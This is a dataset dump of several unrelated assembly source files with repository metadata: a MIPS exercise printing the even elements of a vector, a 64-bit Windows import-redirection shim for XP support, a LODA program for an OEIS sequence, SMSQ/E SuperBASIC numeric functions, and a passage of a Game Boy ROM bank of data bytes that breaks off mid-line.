9b796b616bf4dcac95cdea98114a8e0599a5393f
[ "MIT" ]
null
null
null
examenes/examenpracticas/ejercicios/eje7_b.asm
ajah1/EC
9b796b616bf4dcac95cdea98114a8e0599a5393f
[ "MIT" ]
null
null
null
# funcion que muesta por pantalla los elementos del vector que son pares. # el vector esta en la etiqueta vector, el numero de elementos del vector es un byte # que esta en numElementos .data vector: .byte 2, 4, 5, 6 numElementos: .byte 4 .text # 1. imprimirlos todos. # 2. solo los pares. lb $t2, numElementos # t2 = limite del bucle li $t1, 0 # contador = 0 li $t4, 2 # divisor de la division entera inicio_bucle: beq $t1, $t2, fin_bucle #coger el dato y comprobar que es par. lb $t3, vector($t1) div $t3, $t4 # elemento / 2 mfhi $t5 # cuando dividimos el resto se queda en el registro hi, lo muevo a t5 bne $t5, 0, seguir mostrar: li $v0, 1 move $a0, $t3 syscall seguir: addi $t1, $t1, 1 j inicio_bucle fin_bucle:
24.633333
84
0.691475
fdff527f10bf55b6b31d5005b431c41b9d3c0e17
5,708
asm
Assembly
Gunz/xpsupport/xpcrtwrap64.asm
WhyWolfie/Repack-Aren
4839db138a502ca4cfac8c2a8c950f1b59064955
[ "FSFAP" ]
null
null
null
Gunz/xpsupport/xpcrtwrap64.asm
WhyWolfie/Repack-Aren
4839db138a502ca4cfac8c2a8c950f1b59064955
[ "FSFAP" ]
null
null
null
Gunz/xpsupport/xpcrtwrap64.asm
WhyWolfie/Repack-Aren
4839db138a502ca4cfac8c2a8c950f1b59064955
[ "FSFAP" ]
null
null
null
;Copyright (c) 2012 Mike Ryan ;Permission is hereby granted, free of charge, to any person obtaining a copy of this software ;and associated documentation files (the "Software"), to deal in the Software without restriction, ;including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, ;subject to the following conditions: ;The above copyright notice and this permission notice shall be included in all copies or substantial ;portions of the Software. ;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT ;LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ;IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, ;WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE ;OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. __ML_64 = OPATTR rax IF __ML_64 AfxGetTickCount64 PROTO AfxIsValidLocaleName PROTO :QWORD AfxLCMapStringEx PROTO :QWORD,:DWORD,:QWORD,:DWORD,:QWORD,:DWORD,:QWORD,:QWORD,:QWORD AfxCompareStringEx PROTO :QWORD,:DWORD,:QWORD,:DWORD,:QWORD,:DWORD,:QWORD,:QWORD,:QWORD AfxGetLocaleInfoEx PROTO :QWORD,:DWORD,:QWORD,:DWORD AfxGetUserDefaultLocaleName PROTO :QWORD,:DWORD AfxEnumSystemLocalesEx PROTO :DWORD,:DWORD,:DWORD,:QWORD AfxFlsAlloc PROTO :QWORD AfxFlsFree PROTO :DWORD AfxFlsSetValue PROTO :DWORD,:QWORD AfxFlsGetValue PROTO :DWORD AfxGetCurrentProcessorNumber PROTO AfxFlushProcessWriteBuffers PROTO AfxCreateSemaphoreExW PROTO :QWORD,:DWORD,:DWORD,:QWORD,:DWORD,:DWORD AfxGetTimeFormatEx PROTO :QWORD,:DWORD,:QWORD,:QWORD,:QWORD,:DWORD AfxGetDateFormatEx PROTO :QWORD,:DWORD,:QWORD,:QWORD,:QWORD,:DWORD,:QWORD AfxSetThreadStackGuarantee PROTO :QWORD AfxInitializeCriticalSectionEx PROTO :QWORD,:DWORD,:DWORD AfxCreateSymbolicLinkA PROTO :QWORD,:QWORD,:DWORD AfxCreateSymbolicLinkW PROTO :QWORD,:QWORD,:DWORD AfxGetLogicalProcessorInformation PROTO :QWORD,:QWORD AfxInitOnceExecuteOnce PROTO :QWORD,:QWORD,:QWORD,:QWORD AfxGetVersionExW PROTO :DWORD AfxCloseThreadpoolTimer PROTO STDCALL :QWORD AfxCloseThreadpoolWait PROTO STDCALL :QWORD AfxCreateThreadpoolTimer PROTO STDCALL :QWORD,:QWORD,:QWORD AfxCreateThreadpoolWait PROTO STDCALL :QWORD,:QWORD,:QWORD AfxFreeLibraryWhenCallbackReturns PROTO STDCALL :QWORD,:QWORD AfxSetThreadpoolTimer PROTO STDCALL :QWORD,:QWORD,:DWORD,:DWORD AfxSetThreadpoolWait PROTO STDCALL :QWORD,:QWORD,:QWORD AfxWaitForThreadpoolTimerCallbacks PROTO STDCALL :QWORD,:DWORD .data __imp_GetTickCount64 dq AfxGetTickCount64 __imp_IsValidLocaleName dq AfxIsValidLocaleName __imp_LCMapStringEx dq AfxLCMapStringEx __imp_CompareStringEx dq AfxCompareStringEx __imp_GetLocaleInfoEx dq AfxGetLocaleInfoEx __imp_GetUserDefaultLocaleName dq AfxGetUserDefaultLocaleName __imp_EnumSystemLocalesEx dq AfxEnumSystemLocalesEx __imp_FlsAlloc dq AfxFlsAlloc __imp_FlsFree dq AfxFlsFree __imp_FlsSetValue dq AfxFlsSetValue __imp_FlsGetValue dq AfxFlsGetValue __imp_GetCurrentProcessorNumber dq AfxGetCurrentProcessorNumber __imp_FlushProcessWriteBuffers dq AfxFlushProcessWriteBuffers __imp_CreateSemaphoreExW dq AfxCreateSemaphoreExW __imp_GetTimeFormatEx dq AfxGetTimeFormatEx __imp_GetDateFormatEx dq AfxGetDateFormatEx __imp_SetThreadStackGuarantee dq AfxSetThreadStackGuarantee __imp_InitializeCriticalSectionEx dq AfxInitializeCriticalSectionEx __imp_CreateSymbolicLinkA dq AfxCreateSymbolicLinkA __imp_CreateSymbolicLinkW dq AfxCreateSymbolicLinkW __imp_GetLogicalProcessorInformation dq AfxGetLogicalProcessorInformation __imp_InitOnceExecuteOnce dq AfxInitOnceExecuteOnce __imp_GetVersionExW dq AfxGetVersionExW __imp_CloseThreadpoolTimer dq AfxCloseThreadpoolTimer __imp_CloseThreadpoolWait dq AfxCloseThreadpoolWait __imp_CreateThreadpoolTimer dq AfxCreateThreadpoolTimer __imp_CreateThreadpoolWait dq AfxCreateThreadpoolWait __imp_FreeLibraryWhenCallbackReturns dq AfxFreeLibraryWhenCallbackReturns __imp_SetThreadpoolTimer dq AfxSetThreadpoolTimer __imp_SetThreadpoolWait dq AfxSetThreadpoolWait __imp_WaitForThreadpoolTimerCallbacks dq AfxWaitForThreadpoolTimerCallbacks EXTERNDEF __imp_GetTickCount64 : QWORD EXTERNDEF __imp_IsValidLocaleName : DWORD EXTERNDEF __imp_LCMapStringEx : DWORD EXTERNDEF __imp_CompareStringEx : DWORD EXTERNDEF __imp_GetLocaleInfoEx : DWORD EXTERNDEF __imp_GetUserDefaultLocaleName : DWORD EXTERNDEF __imp_EnumSystemLocalesEx : DWORD EXTERNDEF __imp_FlsAlloc : DWORD EXTERNDEF __imp_FlsFree : DWORD EXTERNDEF __imp_FlsSetValue : DWORD EXTERNDEF __imp_FlsGetValue : DWORD EXTERNDEF __imp_GetCurrentProcessorNumber : DWORD EXTERNDEF __imp_FlushProcessWriteBuffers : EXTERNDEF __imp_CreateSemaphoreExW : DWORD EXTERNDEF __imp_GetTimeFormatEx : DWORD EXTERNDEF __imp_GetDateFormatEx : DWORD EXTERNDEF __imp_SetThreadStackGuarantee : DWORD EXTERNDEF __imp_InitializeCriticalSectionEx : DWORD EXTERNDEF __imp_CreateSymbolicLinkA : BYTE EXTERNDEF __imp_CreateSymbolicLinkW : BYTE EXTERNDEF __imp_GetLogicalProcessorInformation : DWORD EXTERNDEF __imp_InitOnceExecuteOnce : DWORD EXTERNDEF __imp_GetVersionExW : DWORD EXTERNDEF __imp_CloseThreadpoolTimer : EXTERNDEF __imp_CloseThreadpoolWait : EXTERNDEF __imp_CreateThreadpoolTimer : QWORD EXTERNDEF __imp_CreateThreadpoolWait : QWORD EXTERNDEF __imp_FreeLibraryWhenCallbackReturns : EXTERNDEF __imp_SetThreadpoolTimer : EXTERNDEF __imp_SetThreadpoolWait : EXTERNDEF __imp_WaitForThreadpoolTimerCallbacks : .code ENDIF end
40.48227
109
0.853189
2a5f74d18ac6a411dc20345d6fa3fef064ac7573
702
asm
Assembly
programs/oeis/273/A273407.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/273/A273407.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/273/A273407.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A273407: First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 673", based on the 5-celled von Neumann neighborhood. ; 3,17,23,33,39,49,55,65,71,81,87,97,103,113,119,129,135,145,151,161,167,177,183,193,199,209,215,225,231,241,247,257,263,273,279,289,295,305,311,321,327,337,343,353,359,369,375,385,391,401,407,417,423,433,439,449,455,465,471,481,487,497,503,513,519,529,535,545,551,561,567,577,583,593,599,609,615,625,631,641,647,657,663,673,679,689,695,705,711,721,727,737,743,753,759,769,775,785,791,801 mov $1,$0 div $1,2 sub $1,$0 mul $0,3 mov $2,$1 cmp $2,0 add $1,$2 mul $1,2 sub $0,$1 add $0,2 mul $0,2 add $0,3
43.875
388
0.717949
37d61c8205898b75c022c0e515bd6aa9a1071908
5,942
asm
Assembly
sbsext/ext/num.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
sbsext/ext/num.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
sbsext/ext/num.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; Odd numerical functions V2.00  1990 Tony Tebby QJUMP ; ; PRTY_SET nbytes, parity area fill area with parity bytes ; ; PURE (number, nr bits zero) set trailing bits to zero ; FPHEX$ (number) hex representation of FP ; HEXFP (string) FP in hex representation ; BDIFF (number, number) difference in bits ; FDIFF (number, number) floating point difference ; ; RND_MSB% (old%, mask%, parity area) next rnd number (new MSB) ; RND_SEQL (seed%, mask%, parity area, 65536 words) length of sequence ; RND_SEQE (seed%, mask1$, mask2%, parity area) equality of sequences ; section exten xdef pure xdef fphex$ xdef hexfp xdef bdiff xdef fdiff xdef prty_set xdef rnd_msb xdef rnd_seql xdef rnd_seqe xref ut_gxin1 ; get integer xref ut_gxin2 xref ut_gtint xref ut_gtfp1 xref ut_gxfp1 xref ut_gxst1 xref ut_gxli1 xref ut_gxli2 xref ut_chkri xref ut_remst xref ut_retin xref ut_retfp xref ut_retst xref ut_rtfd1 xref ut_rnorm include 'dev8_keys_err' include 'dev8_keys_sbasic' include 'dev8_keys_qlv' pure jsr ut_gtfp1 ; get floating point on stack bne.s num_rts addq.l #8,a3 jsr ut_gxin1 ; get purify bits bne.s num_rts moveq #-1,d1 move.w (a6,a1.l),d2 addq.l #2,a1 lsl.l d2,d1 and.l d1,2(a6,a1.l) ; purify jmp ut_retfp fdiff jsr ut_gtfp1 ; get first fp bne.s num_rts addq.l #8,a3 jsr ut_gxfp1 ; and second bne.s num_rts move.l 8(a6,a1.l),d1 move.l 2(a6,a1.l),d3 ; mantissas move.w 6(a6,a1.l),d2 move.w d2,d0 sub.w (a6,a1.l),d0 ; same exponent? beq.s numf_diff ; ... yes bgt.s numf_sd3 neg.w d0 asr.l d0,d1 add.w d0,d2 bra.s numf_diff numf_sd3 asr.l d0,d3 numf_diff addq.l #6,a1 clr.w (a6,a1.l) ; zero difference clr.l 2(a6,a1.l) sub.l d3,d1 beq.s numf_ret jsr ut_rnorm numf_ret jmp ut_retfp ; return difference num_rts rts bdiff jsr ut_gtfp1 ; get first fp bne.s num_rts addq.l #8,a3 jsr ut_gxfp1 ; and second bne.s num_rts move.l 8(a6,a1.l),d1 move.l 2(a6,a1.l),d3 ; mantissas move.w 6(a6,a1.l),d0 sub.w (a6,a1.l),d0 ; same exponent? beq.s numb_diff ; ... yes bgt.s numb_sd3 neg.w d0 asr.l d0,d1 bra.s numb_diff numb_sd3 asr.l d0,d3 numb_diff sub.l d3,d1 add.w #12,a1 jmp ut_rtfd1 ; return difference in bits fphex$ moveq #14,d1 ; enough space jsr ut_chkri jsr ut_gxfp1 ; get floating point bne.s num_rts move.l sb_buffb(a6),a0 ; buffer jsr cv.iwhex*3+qlv.off jsr cv.ilhex*3+qlv.off move.l -4(a6,a0.l),-4(a6,a1.l) move.l -8(a6,a0.l),-8(a6,a1.l) move.l -12(a6,a0.l),-12(a6,a1.l) move.w #12,-14(a6,a1.l) ; string length sub.w #14,a1 jmp ut_retst hexfp bsr.l ut_gxst1 get exactly one string bne.s num_rts jsr ut_remst ... remove it move.w (a6,a1.l),d7 get length of string addq.l #2,a1 skip it move.l sb_buffb(a6),a0 moveq #5,d0 6 double digits numh_loop bsr.s numh_digit move.b d2,d1 bsr.s numh_digit lsl.b #4,d1 or.b d2,d1 move.b d1,(a6,a0.l) addq.l #1,a0 dbra d0,numh_loop move.l sb_arthp(a6),a1 move.l -4(a6,a0.l),-4(a6,a1.l) move.w -6(a6,a0.l),-6(a6,a1.l) subq.l #6,a1 jmp ut_retfp numh_digit subq.w #1,d7 blt.s numh_null no more digits moveq #-$30,d2 digits start at '0'=$30 add.b (a6,a1.l),d2 get digit addq.l #1,a1 blt.s numh_xp less than 0, bum cmp.b #9,d2 >9? ble.s numh_rts ... no, ok bclr #5,d2 'a'='a'=$11 cmp.b #$10,d2 <a? ble.s numh_xp ... yes, bum sub.b #7,d2 'a'='a'=$a cmp.b #$10,d2 <16? bhi.s numh_xp ... no, bum rts numh_null moveq #0,d2 numh_rts rts numh_xp moveq #err.iexp,d0 addq.l #4,sp rts prty_set jsr ut_gxli2 ; get long integers bne.s rnd_rts move.l (a6,a1.l),d4 ; number to generate move.l 4(a6,a1.l),a0 add.l d4,a0 ; fill from end move.w d4,d2 moveq #0,d3 prty_byloop subq.w #1,d2 move.w d2,d1 moveq #0,d0 prty_prloop lsr.w #1,d1 addx.b d3,d0 tst.w d1 bne.s prty_prloop and.b #1,d0 move.b d0,-(a0) tst.w d2 bne.s prty_byloop moveq #0,d0 rnd_rts rts rnd_msb subq.l #8,a5 ; ignore last parameter jsr ut_gxin2 ; our numbers bne.s rnd_rts add.w #$10,a3 addq.l #8,a5 jsr ut_gxli1 ; parity table bne.s rnd_rts move.l (a6,a1.l),a0 move.w 4(a6,a1.l),d1 move.w 6(a6,a1.l),d2 and.w d1,d2 move.b (a0,d2.w),d2 lsr.b #1,d2 roxr.w #1,d1 ; new msb addq.l #6,a1 move.w d1,(a6,a1.l) jmp ut_retin rnd_seql sub.w #$10,a5 ; ignore last parameters jsr ut_gxin2 ; our numbers bne.s rnd_rts add.w #$10,a3 add.w #$10,a5 jsr ut_gxli2 ; parity table / workspace bne.s rnd_rts move.l (a6,a1.l),a0 move.l 4(a6,a1.l),a2 move.w 8(a6,a1.l),d1 move.w $a(a6,a1.l),d2 moveq #-1,d0 rnd_loop move.w d1,(a2)+ ; next rn move.w d2,d3 and.w d1,d3 move.b (a0,d3.w),d3 lsr.b #1,d3 roxr.w #1,d1 ; new msb dbra d0,rnd_loop move.w d1,d2 moveq #0,d1 ; sequence length >=1 rnd_slen addq.l #1,d1 cmp.w -(a2),d2 bne.s rnd_slen add.w #12,a1 jmp ut_rtfd1 ; return float length rnd_seqe subq.l #8,a5 ; ignore last parameter jsr ut_gtint ; our numbers bne.l rnd_rts add.w #$18,a3 addq.l #8,a5 jsr ut_gxli1 ; parity table bne.l rnd_rts move.l (a6,a1.l),a0 move.w 4(a6,a1.l),d1 move.w 6(a6,a1.l),d2 move.w 8(a6,a1.l),d3 move.w d1,d5 ; keep seed moveq #-1,d0 rnd_seel move.w d2,d4 and.w d5,d4 move.b (a0,d4.w),d4 lsr.b #1,d4 roxr.w #1,d5 ; new msb dbra d0,rnd_seel ; 65536 times moveq #-1,d0 rnd_sest cmp.w d1,d5 ; start of sequence? beq.s rnd_secm ; ... yes move.w d2,d4 and.w d1,d4 move.b (a0,d4.w),d4 lsr.b #1,d4 roxr.w #1,d1 ; new msb dbra d0,rnd_sest ; 65536 times bra.s rnd_sene rnd_secm move.w d2,d4 and.w d1,d4 move.b (a0,d4.w),d4 ; next from seq 1 move.w d3,d0 and.w d1,d0 cmp.b (a0,d0.w),d4 ; same sequence? bne.s rnd_sene lsr.b #1,d4 roxr.w #1,d1 ; new msb cmp.w d1,d5 ; start of sequence? bne.s rnd_secm ; ... no moveq #1,d1 ; ... yes, equal bra.s rnd_seex rnd_sene moveq #0,d1 rnd_seex add.w #10,a1 jmp ut_rtfd1 ; return float length end
17.790419
70
0.657859
b0834f8d89e80459a872faab3d60cb81e09c027e
344
asm
Assembly
ExamplePrograms/Divide.asm
douaumont/i8008_emu
709a1809f1af443783a7d856f33c5ff05f2e418d
[ "MIT" ]
null
null
null
ExamplePrograms/Divide.asm
douaumont/i8008_emu
709a1809f1af443783a7d856f33c5ff05f2e418d
[ "MIT" ]
null
null
null
ExamplePrograms/Divide.asm
douaumont/i8008_emu
709a1809f1af443783a7d856f33c5ff05f2e418d
[ "MIT" ]
null
null
null
;Program of dividing one number by another ;port 0 - number to divide, port 1 - divisor, port 8 - quotient, port 9 - remainder ;d - number to divide, e - divisor, b - quotient, c - remainder inp 0 lda inp 1 lea cal div lab out 8 lac out 9 hlt div: lad cpe jtc cannotBeDivided loop: sue inb cpe jfc loop lca ret cannotBeDivided: out 9 hlt
10.424242
83
0.718023
114ff3bbf625a6a87cff5d22d62c919cce47e247
98,351
asm
Assembly
projects/Kirbys_Dream_Land_2.windfish/disassembly/bank_1D.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
68
2020-12-16T10:06:48.000Z
2022-03-29T19:54:01.000Z
projects/Kirbys_Dream_Land_2.windfish/disassembly/bank_1D.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
62
2020-12-19T04:28:41.000Z
2021-02-15T22:18:16.000Z
projects/Kirbys_Dream_Land_2.windfish/disassembly/bank_1D.asm
jverkoey/awaken
743755248996deb7181ae92f6e60be5656439c44
[ "Apache-2.0" ]
4
2021-01-17T03:51:22.000Z
2021-01-21T16:26:53.000Z
SECTION "ROM Bank 1D", ROMX[$4000], BANK[$1D] db $FF, $02, $00, $00, $00, $0D, $49, $1D db $00, $00, $00, $0D, $49, $1D, $F2, $0E db $F1, $0E, $10, $80, $02, $21, $40, $23 db $40, $25, $40, $28, $40, $2B, $40, $30 db $40, $00, $FF, $03, $FF, $01, $02, $FF db $02, $01, $FF, $03, $02, $00, $01, $FF db $00, $01, $03, $02, $FF, $3D, $40, $47 db $40, $52, $40, $5C, $40, $00, $03, $04 db $05, $02, $04, $01, $06, $07, $FF, $00 db $06, $09, $06, $0A, $03, $06, $08, $04 db $08, $FF, $06, $07, $07, $05, $05, $04 db $04, $01, $01, $FF, $00, $02, $02, $06 db $08, $04, $07, $05, $FF, $1C, $0C, $0C db $04, $40, $00, $80, $00, $FC, $F8, $18 db $00, $03, $FF, $02, $9B, $4D, $03, $33 db $4E, $03, $00, $00, $00, $2A, $4F, $03 db $FF, $22, $00, $00, $00, $33, $4E, $03 db $00, $00, $00, $2A, $4F, $03, $FB, $06 db $FD, $04, $FE, $03, $FE, $03, $10, $30 db $50, $18, $00, $03, $00, $01, $02, $03 db $02, $01, $00, $01, $02, $03, $02, $01 db $00, $01, $02, $03, $02, $01, $00, $01 db $00, $04, $F0, $00, $00, $E0, $C0, $03 db $F0, $C0, $00, $E0, $60, $03, $E8, $80 db $01, $E0, $60, $03, $E0, $00, $03, $E0 db $17, $F6, $0D, $0F, $44, $FF, $0D, $E0 db $35, $88, $00, $30, $00, $0D, $0F, $20 db $06, $0E, $3F, $27, $03, $FD, $40, $5D db $09, $04, $19, $02, $02, $19, $14, $02 db $19, $02, $02, $19, $15, $02, $24, $22 db $0A, $03, $0C, $41, $5D, $0D, $5F, $20 db $12, $40, $01, $01, $00, $01, $00, $40 db $CD, $3C, $23, $D0, $1E, $1D, $01, $E5 db $48, $C3, $46, $08, $CD, $EB, $21, $CD db $A4, $0D, $01, $00, $40, $CD, $5B, $25 db $01, $0E, $40, $CD, $CD, $24, $CB, $7F db $C8, $1E, $0D, $CD, $7A, $0F, $F0, $9A db $57, $1E, $1D, $01, $31, $41, $C3, $46 db $08, $0D, $E6, $22, $D5, $0C, $0D, $E6 db $22, $D5, $0D, $24, $40, $18, $0F, $43 db $00, $0D, $5F, $22, $0D, $72, $22, $03 db $FD, $40, $5D, $27, $19, $00, $20, $0B db $27, $42, $0F, $60, $2D, $0D, $80, $41 db $0D, $A4, $41, $14, $FF, $55, $41, $0D db $BA, $41, $0D, $CE, $41, $0E, $0B, $01 db $42, $62, $43, $69, $42, $E1, $44, $D0 db $46, $7B, $47, $10, $45, $4A, $46, $5F db $45, $C0, $46, $C8, $46, $06, $58, $41 db $CD, $47, $06, $E6, $01, $62, $2E, $43 db $86, $21, $15, $40, $07, $85, $6F, $30 db $01, $24, $1E, $3D, $2A, $12, $1C, $7E db $12, $1E, $43, $1A, $3C, $FE, $03, $38 db $01, $AF, $12, $C9, $1E, $3D, $1A, $6F db $1C, $1A, $67, $2A, $1E, $27, $12, $FE db $FF, $C8, $1E, $3D, $7D, $12, $1C, $7C db $12, $C9, $1E, $27, $1A, $07, $21, $35 db $40, $85, $6F, $30, $01, $24, $1E, $3F db $2A, $12, $1C, $7E, $12, $C9, $1E, $3F db $1A, $6F, $1C, $1A, $67, $2A, $1E, $27 db $12, $FE, $FF, $C8, $1E, $3F, $7D, $12 db $1C, $7C, $12, $C9, $01, $00, $40, $CD db $5B, $25, $FA, $E4, $DE, $FE, $0C, $D8 db $1E, $60, $3E, $2D, $12, $62, $2E, $1F db $36, $5D, $2C, $36, $40, $2C, $36, $FD db $C9, $03, $FD, $40, $5D, $27, $19, $00 db $20, $0B, $27, $42, $28, $13, $40, $62 db $41, $0B, $27, $42, $28, $13, $80, $62 db $41, $0B, $27, $42, $28, $13, $C0, $62 db $41, $0B, $27, $42, $06, $62, $41, $0D db $59, $42, $12, $36, $42, $19, $02, $02 db $19, $14, $02, $06, $3F, $42, $19, $03 db $02, $19, $04, $02, $0D, $62, $42, $19 db $02, $02, $19, $15, $02, $24, $22, $09 db $03, $19, $02, $02, $19, $14, $02, $19 db $02, $02, $19, $15, $02, $24, $22, $0A db $0C, $21, $9D, $5E, $3E, $06, $CD, $CF db $05, $C9, $1E, $45, $1A, $2F, $3C, $12 db $C9, $03, $FD, $40, $5D, $01, $00, $1F db $45, $22, $65, $40, $0D, $59, $42, $12 db $80, $42, $19, $00, $04, $06, $88, $42 db $19, $03, $04, $0D, $62, $42, $01, $00 db $0F, $41, $08, $03, $D9, $42, $5D, $26 db $00, $01, $08, $00, $00, $29, $00, $2A db $00, $19, $01, $04, $0D, $32, $10, $E0 db $08, $00, $FF, $2A, $40, $00, $0D, $59 db $42, $11, $8B, $42, $03, $D9, $42, $5D db $26, $00, $01, $08, $00, $00, $29, $00 db $2A, $00, $19, $03, $04, $01, $02, $0D db $62, $42, $0D, $32, $10, $20, $08, $00 db $FF, $2A, $40, $00, $03, $FD, $40, $5D db $19, $03, $04, $0D, $62, $42, $06, $62 db $41, $01, $00, $40, $CD, $3C, $23, $38 db $64, $62, $2E, $0D, $2A, $B6, $28, $03 db $CD, $E6, $1E, $CD, $D3, $1E, $CD, $A4 db $0D, $01, $0E, $40, $CD, $CD, $24, $CB db $7F, $20, $15, $1E, $41, $1A, $B7, $C8 db $CD, $4D, $43, $D0, $AF, $1E, $41, $1E db $11, $1A, $2F, $3C, $12, $C3, $F9, $1E db $1E, $D5, $3E, $0E, $CD, $19, $23, $1E db $41, $1A, $B7, $28, $20, $3D, $28, $15 db $12, $FE, $04, $28, $08, $1E, $1D, $01 db $8B, $42, $C3, $46, $08, $1E, $1D, $01 db $A6, $42, $C3, $46, $08, $1E, $1D, $01 db $62, $41, $C3, $46, $08, $1E, $1D, $01 db $CC, $42, $C3, $46, $08, $1E, $1D, $01 db $E5, $48, $C3, $46, $08, $1E, $0E, $1A db $07, $21, $51, $DB, $1E, $04, $1A, $38 db $05, $96, $FE, $93, $3F, $C9, $96, $FE db $0D, $C9, $03, $25, $44, $5D, $18, $2A db $F0, $0D, $59, $42, $12, $81, $43, $0D db $32, $10, $04, $19, $02, $02, $0D, $E6 db $22, $D5, $0F, $19, $14, $02, $06, $8E db $43, $0D, $32, $10, $FC, $19, $03, $02 db $19, $04, $02, $0D, $62, $42, $19, $02 db $02, $19, $15, $02, $24, $22, $09, $03 db $19, $02, $02, $0D, $E6, $22, $D5, $0F db $19, $14, $02, $19, $02, $02, $19, $15 db $02, $24, $22, $0A, $29, $00, $2A, $00 db $09, $02, $19, $02, $02, $0D, $E6, $22 db $D5, $0F, $19, $14, $02, $19, $02, $02 db $19, $15, $02, $24, $22, $0A, $18, $0D db $93, $44, $11, $D0, $43, $26, $C0, $00 db $09, $04, $19, $02, $02, $0D, $E6, $22 db $D5, $0F, $19, $14, $02, $19, $02, $02 db $19, $15, $02, $24, $22, $0A, $0D, $F8 db $44, $40, $12, $19, $44, $03, $2B, $44 db $5D, $08, $00, $00, $26, $C0, $00, $0F db $41, $06, $19, $02, $02, $0D, $E6, $22 db $D5, $0F, $19, $14, $02, $19, $02, $02 db $19, $15, $02, $24, $22, $0D, $CC, $44 db $11, $FA, $43, $07, $00, $00, $06, $1C db $44, $26, $80, $00, $2A, $10, $03, $4E db $44, $5D, $01, $01, $00, $CD, $E6, $1E db $CD, $D3, $1E, $CD, $A4, $0D, $01, $00 db $40, $CD, $3C, $23, $38, $10, $CD, $4D db $43, $D0, $AF, $CD, $FD, $4E, $1E, $1D db $01, $1C, $44, $C3, $46, $08, $1E, $1D db $01, $E5, $48, $C3, $46, $08, $01, $00 db $40, $CD, $3C, $23, $38, $35, $CD, $D3 db $1E, $CD, $A4, $0D, $01, $0E, $40, $CD db $CD, $24, $CB, $7F, $20, $07, $CD, $4D db $43, $D0, $C3, $FD, $4E, $1E, $0D, $CD db $7A, $0F, $1E, $D5, $3E, $0C, $CD, $19 db $23, $1E, $D5, $3E, $0D, $CD, $19, $23 db $F0, $9A, $7A, $1E, $1D, $01, $62, $41 db $C3, $46, $08, $1E, $1D, $01, $E5, $48 db $C3, $46, $08, $21, $51, $DB, $1E, $45 db $1A, $07, $1E, $04, $1A, $38, $15, $C6 db $38, $96, $FE, $98, $30, $0B, $26, $A0 db $2E, $04, $BE, $30, $04, $3E, $01, $18 db $17, $AF, $18, $14, $D6, $38, $38, $F9 db $96, $38, $F6, $FE, $08, $38, $F2, $26 db $A0, $2E, $04, $BE, $38, $EB, $3E, $01 db $1E, $27, $12, $C9, $C5, $21, $B0, $5A db $3E, $04, $CD, $CF, $05, $2E, $41, $62 db $35, $20, $04, $2E, $27, $36, $01, $C1 db $C9, $0D, $F8, $44, $49, $12, $F0, $44 db $28, $13, $C0, $62, $43, $06, $69, $42 db $28, $13, $40, $62, $43, $06, $69, $42 db $0A, $5F, $03, $26, $A0, $2E, $07, $7E db $21, $53, $DB, $96, $BB, $38, $04, $3E db $01, $18, $01, $AF, $1E, $27, $12, $C9 db $03, $FD, $40, $5D, $0D, $59, $42, $12 db $20, $45, $19, $00, $04, $06, $28, $45 db $19, $03, $04, $0D, $62, $42, $01, $00 db $1F, $45, $22, $67, $40, $09, $03, $19 db $00, $01, $19, $02, $02, $19, $12, $06 db $19, $02, $02, $19, $00, $01, $19, $10 db $04, $0A, $10, $5C, $12, $59, $45, $19 db $00, $01, $19, $01, $02, $19, $12, $06 db $19, $01, $02, $19, $00, $01, $19, $10 db $04, $19, $00, $10, $06, $62, $41, $0D db $59, $42, $12, $6B, $45, $19, $00, $04 db $06, $73, $45, $19, $03, $04, $0D, $62 db $42, $01, $00, $07, $00, $00, $08, $00 db $FE, $2A, $10, $03, $04, $46, $5D, $19 db $01, $20, $08, $00, $02, $2A, $00, $01 db $03, $00, $0D, $E6, $22, $D5, $0C, $0D db $E6, $22, $D5, $0D, $0D, $77, $0F, $0E db $03, $FD, $40, $5D, $08, $00, $00, $0D db $E6, $22, $D5, $00, $19, $11, $04, $19 db $03, $06, $19, $11, $02, $19, $03, $14 db $27, $03, $13, $46, $5D, $2A, $F0, $09 db $04, $19, $02, $02, $0D, $E6, $22, $D5 db $0F, $19, $14, $02, $19, $02, $02, $19 db $15, $02, $24, $22, $0A, $08, $00, $00 db $2A, $00, $09, $10, $19, $02, $02, $0D db $E6, $22, $D5, $0F, $19, $14, $02, $19 db $02, $02, $19, $15, $02, $24, $22, $0A db $26, $80, $00, $2A, $10, $01, $01, $00 db $0D, $E6, $22, $D5, $0C, $0D, $E6, $22 db $D5, $0D, $03, $FD, $40, $5D, $19, $00 db $10, $06, $62, $41, $CD, $22, $46, $D8 db $CB, $7F, $C8, $1E, $1D, $01, $8A, $45 db $C3, $46, $08, $CD, $22, $46, $D8, $CB db $7F, $C8, $1E, $1D, $01, $F0, $45, $C3 db $46, $08, $01, $00, $40, $CD, $3C, $23 db $38, $16, $CD, $D3, $1E, $CD, $A4, 